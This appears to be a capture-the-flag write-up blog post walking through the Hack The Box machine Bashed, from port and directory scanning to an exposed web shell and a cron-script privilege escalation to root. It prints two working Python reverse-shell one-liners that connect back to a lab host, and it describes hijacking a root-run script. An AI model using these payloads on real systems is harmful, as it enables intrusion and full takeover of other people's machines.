Path to OSCP: Bashed

As part of my progress towards achieving Offensive Security Certified Professional certification, I’m attempting to complete all NetSecFocus OSCP-style boxes on Hack The Box, and detailing each box in this “Path to OSCP” blog series.

Next on our to-do list is Bashed. Nmap to begin as usual:

u01@nostromo:~$ sudo nmap -p- -A bashed.htb -oA bashed/bashed
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-20 08:41 BST
Nmap scan report for bashed.htb (10.10.10.68)
Host is up (0.020s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Arrexel's Development Site
|_http-server-header: Apache/2.4.18 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=8/20%OT=80%CT=1%CU=38372%PV=Y%DS=2%DC=T%G=Y%TM=64E1C3D
OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O4=M53CST11NW7%O5=M53CST1
OS:1NW7%O6=M53CST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M53CNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops

TRACEROUTE (using port 1720/tcp)
HOP RTT ADDRESS
1 20.26 ms 10.10.14.1
2 20.57 ms bashed.htb (10.10.10.68)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.58 seconds

Just a single open port, HTTP/80. The main page shows a personal development blog, for the development of phpbash, a “standalone, semi-interactive web shell“.

Fairly obvious where this is going, we need to find an instance of the web shell “carelessly” left publicly accessible. The above example screenshot from the site would suggest it might be found in /uploads/, but that’s not the case. After trying a few more locations manually, I turn to gobuster to see what it can find:

u01@nostromo:~ $gobuster dir-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bashed.htb
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bashed.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/20 08:50:54 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 309] [--> http://bashed.htb/images/]
/uploads (Status: 301) [Size: 310] [--> http://bashed.htb/uploads/]
/php (Status: 301) [Size: 306] [--> http://bashed.htb/php/]
/css (Status: 301) [Size: 306] [--> http://bashed.htb/css/]
/dev (Status: 301) [Size: 306] [--> http://bashed.htb/dev/]
/js (Status: 301) [Size: 305] [--> http://bashed.htb/js/]
/fonts (Status: 301) [Size: 308] [--> http://bashed.htb/fonts/]

Sure enough, there’s a /dev/ directory, with two samples of phpbash.

We click the link, and we’re into a webshell as www-data, which we can use to retrieve the user.txt flag from /home/arrexel.

In order to get a better shell I confirm the existence of Python with “which python” then fire off a reverse shell command to a listening netcat instance:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.12",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

From here I download LinPEAS with wget and kick off the enumeration script. This throws up a couple of interesting finds, the most promising of which is sudo privileges to run anything as the user ‘scriptmanager’ with no password:

╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d

╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid                                                                                

Matching Defaults entries for www-data on bashed:                                                                                                          

    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin


User www-data may run the following commands on bashed:

    (scriptmanager : scriptmanager) NOPASSWD: ALL

So we do just that to run bash as scriptmanager:

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ sudo -u scriptmanager bash -i
bash: cannot set terminal process group (851): Inappropriate ioctl for device
bash: no job control in this shell
scriptmanager@bashed:/var/www/html/dev$

We’re obviously going to be looking for an exploitable script for privilege escalation. In the root directory we have /scripts, which we have access to. It contains a test.py and test.txt file:

scriptmanager@bashed:/var/tmp$ cd /scripts
cd /scripts
scriptmanager@bashed:/scripts$ ls -la
ls -la
total 16
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Sep 1 03:54 .
drwxr-xr-x 23 root root 4096 Jun 2 2022 ..
-rw-r--r-- 1 scriptmanager scriptmanager 280 Sep 1 03:57 test.py
-rw-r--r-- 1 root root 12 Sep 1 03:57 test.txt
scriptmanager@bashed:/scripts$ cat test.py
cat test.py
f = open("test.txt", "w")
f.write("testing 123!")
f.close

As the test.txt file generated by the test.py script is created as root, we can imply that test.py is run under root privileges. We have write access to test.py, and the test.txt appears to get rewritten regularly as part of a cron job, so it’s just a case of modifying the script to do whatever we choose under root.

After a lot of messing trying to modify the existing file with echo and vi over the reverse shell, I decide to just delete the existing file and upload with wget a new file containing a simple python reverse shell to a netcat listener:

scriptmanager@bashed:/scripts$ cat test.py
cat test.py
a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.10.14.12",7778));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")

After a few seconds the file is triggered and we get root with access to root.txt:

u01@nostromo:~$ nc -lvnp 7778
listening on [any] 7778 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.68] 42962
# id
id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
cat /root/root.txt
59db*******************************
#

Leave a Reply

Your email address will not be published. Required fields are marked *